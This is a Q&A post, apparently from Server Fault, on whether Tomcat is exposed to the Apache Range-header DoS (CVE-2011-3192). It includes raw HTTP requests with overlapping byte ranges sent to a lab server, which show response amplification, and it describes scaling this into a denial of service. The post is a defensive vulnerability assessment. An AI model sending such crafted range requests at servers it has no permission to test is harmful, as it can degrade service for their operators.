Security – Is Tomcat vulnerable to the Apache DoS vulnerability in CVE-2011-3192

apache-2.2Securitytomcat

Is Tomcat affected by this vulnerability? Here is the advisory announcement.

Best Answer

Essentially, this vulnerability gets the Apache server to build a massive response to a request for a single file, far larger than the file itself. While the RFC (2616) tells web services to accept multiple ranges, there's nothing saying that you can't have the ranges overlap. Bad implementation on Apache's part, but there's a good chance that other web servers are vulnerable.

Most Tomcat servlets don't allow Range requests, since it's a custom implementation of a filter to spew the right chunks of content. However, the default servlet (which handles static content) is another story.

Current Tomcat code (here) accepts multiple range sets, validates each one individually that it's within the bounds of the file's size, and plops it in a list of ranges to serve. However, the ranges are streamed out in sequence from the servlet's internal cache, and the process should be stopped immediately if the client requesting the data disconnects; in most cases, this should make the overlapping range request roughly equivalent to the performance impact of serving a large file.


And, to confirm, a quick test..

We'll send a quick request against / to get the size..

request:

HEAD / HTTP/1.1
Host: 192.168.100.200
Accept-Encoding: gzip
Connection: close

response:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"1887-1314245401000"
Last-Modified: Thu, 25 Aug 2011 04:10:01 GMT
Content-Type: text/html
Content-Length: 1887
Date: Thu, 25 Aug 2011 04:18:05 GMT
Connection: close

Verdict is, 1887 bytes for the cute little "It works!" page. That tells us the range we can use without Tomcat throwing away the range as out of bounds.

Ok, so let's check for whether it allows a quick overlap, bytes 0 to 10 then 5 to 15:

request:

GET / HTTP/1.1
Host: 192.168.100.200
Range: bytes=0-10,5-15
Accept-Encoding: gzip
Connection: close

response:

HTTP/1.1 206 Partial Content
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"1887-1314245401000"
Last-Modified: Thu, 25 Aug 2011 04:10:01 GMT
Content-Type: multipart/byteranges; boundary=CATALINA_MIME_BOUNDARY
Content-Length: 224
Date: Thu, 25 Aug 2011 04:17:11 GMT
Connection: close


--CATALINA_MIME_BOUNDARY
Content-Type: text/html
Content-Range: bytes 0-10/1887

<?xml versi
--CATALINA_MIME_BOUNDARY
Content-Type: text/html
Content-Range: bytes 5-15/1887

 version="1
--CATALINA_MIME_BOUNDARY--

Yup, sure enough - <?xml versi and version="1. So overlapping works.

And, whether it'll allow a request for more data than is actually in the file being served:

request:

GET / HTTP/1.1
Host: 192.168.100.200
Range: bytes=0-1800,1-1886
Accept-Encoding: gzip
Connection: close

response:

HTTP/1.1 206 Partial Content
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"1887-1314245401000"
Last-Modified: Thu, 25 Aug 2011 04:10:01 GMT
Content-Type: multipart/byteranges; boundary=CATALINA_MIME_BOUNDARY
Content-Length: 3893
Date: Thu, 25 Aug 2011 04:19:51 GMT
Connection: close


--CATALINA_MIME_BOUNDARY
Content-Type: text/html
Content-Range: bytes 0-1800/1887

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
    <title>Apache Tomcat</title>
</head>

...(lots more data)...

Yup - nearly 4KB served of a sub-2KB file.

Amplify this approach to include an enormous number of ranges, and this is the basic structure of the attack. In Tomcat's case, the real impact seems to be that it allows an attacker to get a large amount of data served in response to a request for a relatively small resource, which may prove helpful in targeting bandwidth for a denial of service. I'd also be suspicious of the impacts in other edge cases; with a reverse proxy attempting to cache 206 responses, or when the requested resource is a file larger than would fit in the Tomcat cache.